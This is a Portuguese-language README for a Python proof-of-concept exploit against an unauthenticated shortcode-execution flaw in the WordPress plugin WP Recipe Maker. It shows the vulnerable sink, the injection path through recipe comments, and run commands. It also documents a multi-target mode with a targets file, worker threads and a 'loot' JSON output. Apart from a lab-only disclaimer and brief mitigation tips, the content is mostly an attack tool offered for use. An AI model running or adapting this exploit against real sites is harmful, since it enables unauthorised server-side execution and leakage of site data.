
PoC de exploit em Python para CVE-2026-89274, uma vulnerabilidade de execução arbitrária de shortcode não autenticada no WordPress WP Recipe Maker <= 10.8.1 através de comentários de receitas.
Poloss : @WPEF0
Proof-of-Concept exploit para CVE-2026-89274 — vulnerabilidade de Unauthenticated Arbitrary Shortcode Execution no plugin WordPress WP Recipe Maker versão ≤ 10.8.1.
⚠️ AVISO LEGAL E ÉTICO Este script é fornecido apenas para pesquisa de segurança em ambiente local (localhost/lab) e não deve ser usado contra sistemas que não sejam seus ou sem autorização por escrito. O autor não se responsabiliza por uso indevido. O uso contra sistemas de terceiros sem autorização pode violar a lei penal.
| Campo | Valor |
|---|
| CVE ID | CVE-2026-89274 |
| Alvo | WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1 |
| Classe | Code Injection (CWE-94) — Arbitrary Shortcode Execution |
| CVSS v3.1 | 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Vetor | Conteúdo de comentário de receita (unauthenticated) |
| Sink | do_shortcode() em class-wprm-metadata.php |
| Impacto | Execução de shortcode server-side → vazamento de dados via JSON-LD público |
| Author | Poloss |
includes/public/class-wprm-metadata.php :: sanitize_metadata()
Vulnerable (10.8.1):
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
do_shortcode() executa o shortcode primeiro, e então strip_shortcodes() apenas limpa a saída — não há proteção alguma.
Patched (10.8.4):
$sanitized = strip_shortcodes( wp_strip_all_tags(
WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
comment_content (comentário público no post da receita)
└─> reviewBody (class-wprm-metadata.php:1017)
└─> $metadata['review'][] (line 1028)
└─> sanitize_metadata( get_metadata( $recipe ) ) (line 374)
└─> do_shortcode( $reviewBody ) ← SINK DE EXECUÇÃO
└─> wp_json_encode() para <script type="application/ld+json">
wprm-comment-rating (preenchido via formulário de comentário).git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
# Não há dependências externas — apenas a biblioteca padrão do Python 3.
Requisitos: Python 3.8+.
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
--shortcode '[wprm-recipe-name id=11]' \
--marker 'PoC Recipe'
Formato de targets.txt (um por linha, url[,post_id]):
http://lab1.local,10
http://lab2.local,25
# linhas de comentário são ignoradas
http://lab3.local,7
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json
| Flag | Padrão | Descrição |
|---|---|---|
-u, --url | — | URL de alvo único |
-f, --file | — | Arquivo de lista de alvos (url[,post_id] por linha) |
-p, --post | 10 | ID do post que contém a receita |
-t, --threads | 5 | Número de worker threads |
-o, --output | cve-2026-89274-loot.json | Arquivo de saída JSON |
--shortcode | [wprm-recipe-name id=11] | Payload de shortcode a ser executado |
--marker | PoC Recipe | Substring de comprovação de execução em reviewBody |
--rating | 5 | Valor de rating do WPRM |
--timeout | 25 | Timeout por requisição (segundos) |
<script type="application/ld+json">, coleta reviewBody./wp-comments-post.php com o payload + campo wprm-comment-rating.--marker aparecer em reviewBody → EXPLOITED. Caso contrário → PENDING_APPROVAL.| Status | Significado |
|---|---|
EXPLOITED | Shortcode executado e saída vazou para o JSON-LD público |
PENDING_APPROVAL | Comentário enviado, aguardando aprovação do moderador |
FAIL | Página inacessível / comentário rejeitado / erro |
[
{
"target": "http://localhost:8080",
"post_id": 10,
"shortcode": "[wprm-recipe-name id=11]",
"marker": "PoC Recipe",
"author": "poc1716000000",
"review_bodies": ["PoC Recipe"],
"status": "EXPLOITED",
"evidence": "PoC Recipe",
"note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
"elapsed": 9.12
}
]
comment_moderation = 1 e audite comentários rigorosamente.[...]) no campo de comentário..
├── CVE-2026-89274.py # exploit principal
└── README.md # este documento